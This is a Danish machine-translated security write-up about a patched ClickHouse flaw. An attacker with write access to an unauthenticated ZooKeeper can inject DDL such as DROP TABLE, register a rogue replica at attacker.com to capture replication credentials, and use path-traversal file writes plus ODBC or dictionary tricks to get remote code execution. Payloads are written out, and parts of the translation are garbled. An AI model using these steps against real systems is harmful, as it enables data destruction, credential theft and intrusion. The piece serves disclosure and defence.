🥇Hvorfor skal man holde bure i en zoologisk have lukket

Denne artikel vil fortælle historien om en meget specifik sårbarhed i ClickHouse-replikeringsprotokollen og vise, hvordan man kan udvide angrebsfladen.

ClickHouse er en database til lagring af store mængder data, oftest ved hjælp af mere end én replika. Klyngedannelse og replikering i ClickHouse er bygget oven på Apache ZooKeeper (ZK) og kræver skrivetilladelser.

Standardinstallationen af ZK kræver ikke godkendelse, så tusindvis af ZK-servere, der bruges til Kafka-, Hadoop- og ClickHouse-konfiguration, er offentligt tilgængelige.

For at reducere din angrebsflade bør du altid konfigurere godkendelse og autorisation, når du installerer ZooKeeper.

Der er selvfølgelig nogle 0 dage baseret på Java-deserialisering, men forestil dig, at en angriber kan læse og skrive til ZooKeeper, der bruges til ClickHouse-replikering.

Når ClickHouse er konfigureret i klyngetilstand, understøtter det distribuerede forespørgsler DDL, der passerer gennem ZK - for dem oprettes noder i bladet /clickhouse/task_queue/ddl.

For eksempel opretter du en node /clickhouse/task_queue/ddl/query-0001 med indhold:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

og derefter slettes testtabellen på klyngeserverne host1 og host2. DDL understøtter også kørsel af CREATE/ALTER/DROP-forespørgsler.

Lyder det skræmmende? Men hvor kan en angriber få serveradresser?

ClickHouse-replikering fungerer på niveau med individuelle tabeller, så når en tabel oprettes i ZK, specificeres en server, der er ansvarlig for at udveksle metadata med replikaer. For eksempel, når du udfører en forespørgsel (ZK skal være konfigureret, chXX — replikaens navn foobar — tabelnavn):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

noder vil blive oprettet kolonner и metadata.

Indhold /clickhouse/tables/01/foobar/replikaer/chXX/værter:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Er det muligt at flette data fra denne klynge? Ja, hvis replikeringsporten (TCP/9009) på serveren chXX-address Firewallen vil ikke blive lukket, og godkendelse til replikering vil ikke blive konfigureret. Hvordan omgår man godkendelse?

En angriber kan oprette en ny replika i ZK ved blot at kopiere indholdet fra /clickhouse/tables/01-01/foobar/replicas/chXX og ændrer betydningen host.

Indhold /clickhouse/tables/01–01/foobar/replikaer/angriber/vært:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Så skal du fortælle de andre replikaer, at der er en ny datablok på angriberens server, som de skal tage - en node oprettes i ZK. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monotont stigende tæller, som skal være større end den sidste i hændelsesloggen):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

где kilde_replika — navnet på angriberens replika, der blev oprettet i det foregående trin, blok_id — datablokidentifikator, få — kommandoen "get block" (og her er kommandoer til andre operationer).

Dernæst læser hver replika en ny hændelse i loggen og går til den server, der kontrolleres af angriberen, for at modtage en datablok (replikeringsprotokollen er binær og kører over HTTP). Server attacker.com vil modtage anmodninger:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

hvor XXX er godkendelsesdataene for replikering. I nogle tilfælde kan dette være en konto med adgang til databasen via ClickHouse-kerneprotokollen og HTTP-protokollen. Som du har set, bliver angrebsfladen kritisk stor, fordi ZooKeeper, som bruges til replikering, efterlades uden konfigureret godkendelse.

Lad os se på funktionen til at hente en datablok fra en replika. Den er skrevet med fuld tillid til, at alle replikaer er under korrekt kontrol, og at der er tillid mellem dem.

replikeringsbehandlingskode

Funktionen læser en liste over filer, derefter deres navne, størrelser, indhold og skriver dem derefter til filsystemet. Det er værd at beskrive separat, hvordan data gemmes i filsystemet.

Der er flere undermapper i /var/lib/clickhouse (standard lagringsmappe fra konfigurationsfil):

flag — mappe til optagelse flag, brugt til gendannelse af datatab;
tmp — mappe til lagring af midlertidige filer;
brugerfiler — operationer med filer i forespørgsler er begrænset til denne mappe (INTO OUTFILE og andre);
metadata — sql-filer med tabelbeskrivelser;
præbehandlede_konfigurationer — behandlede afledte konfigurationsfiler fra /etc/clickhouse-server;
data — selve mappen med selve dataene, i dette tilfælde oprettes der blot en separat undermappe for hver database her (for eksempel /var/lib/clickhouse/data/default).

For hver tabel oprettes en undermappe i den mappe, der indeholder databasen. Hver kolonne er en separat fil afhængigt af motorformat. For eksempel til et bord foobar, oprettet af angriberen, vil følgende filer blive oprettet:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replikaen forventer at modtage filer med de samme navne, når den behandler en datablok, og validerer dem ikke på nogen måde.

Den opmærksomme læser har sikkert allerede hørt om den usikre sammenkædning af filnavn i funktionen WriteBufferFromFile. Ja, dette giver en angriber mulighed for at skrive vilkårligt indhold til enhver fil på FS med brugerrettigheder. clickhouse. For at gøre dette skal den replika, der kontrolleres af angriberen, returnere følgende svar på anmodningen (linjeskift er tilføjet for at lette forståelsen):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

og efter sammenkædning ../../../../../../../../../tmp/pwned filen vil blive skrevet /tmp/pwned med indhold hejfrazoopejeren.

Der er flere muligheder for at omdanne filskrivning til fjernkodeudførelse (RCE).

Eksterne ordbøger i RCE

I ældre versioner blev ClickHouse-indstillingsmappen gemt med brugerrettigheder klikhus som standard. Indstillingsfilerne er XML-filer, som tjenesten læser ved opstart og derefter cacher /var/lib/clickhouse/preprocessed_configs. Hvis der foretages ændringer, genlæses de. Hvis du har adgang til /etc/clickhouse-server en angriber kan skabe sin egen ekstern ordbog eksekverbar type, og udfør derefter vilkårlig kode. Nuværende versioner af ClickHouse giver ikke standardrettigheder, men hvis serveren gradvist blev opdateret, kunne sådanne rettigheder forblive. Hvis du understøtter en ClickHouse-klynge, skal du kontrollere tilladelserne i indstillingsmappen. Den skal tilhøre brugeren. root.

ODBC i RCE

Når en pakke installeres, oprettes der en bruger clickhouse, men dens hjemmemappe er ikke oprettet /nonexistent. Men når administratorer bruger eksterne ordbøger, eller af andre årsager, opretter de et katalog /nonexistent og give til brugeren clickhouse skriveadgang til den (SSZB! ca. oversætter).

ClickHouse understøtter ODBC og kan forbindes til andre databaser. I ODBC kan du angive stien til databasedriverbiblioteket (.so). Ældre versioner af ClickHouse tillod dig at gøre dette direkte i forespørgselshåndteringen, men nu er der tilføjet en mere stringent forbindelsesstrengkontrol til odbc-bridge, så det er nu umuligt at angive stien til driveren fra anmodningen. Men en angriber kan skrive til hjemmemappen ved hjælp af den ovenfor beskrevne sårbarhed?

Lad os oprette en fil ~/.odbc.ini med indhold som dette:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

derefter ved opstart SELECT * FROM odbc('DSN=lalala', 'test', 'test'); biblioteket vil blive indlæst test.so og modtog RCE (tak buglloc for tippet).

Disse og andre sårbarheder blev rettet i ClickHouse version 19.14.3. Pas på dit ClickHouse og dine ZooKeepers!

Kilde: www.habr.com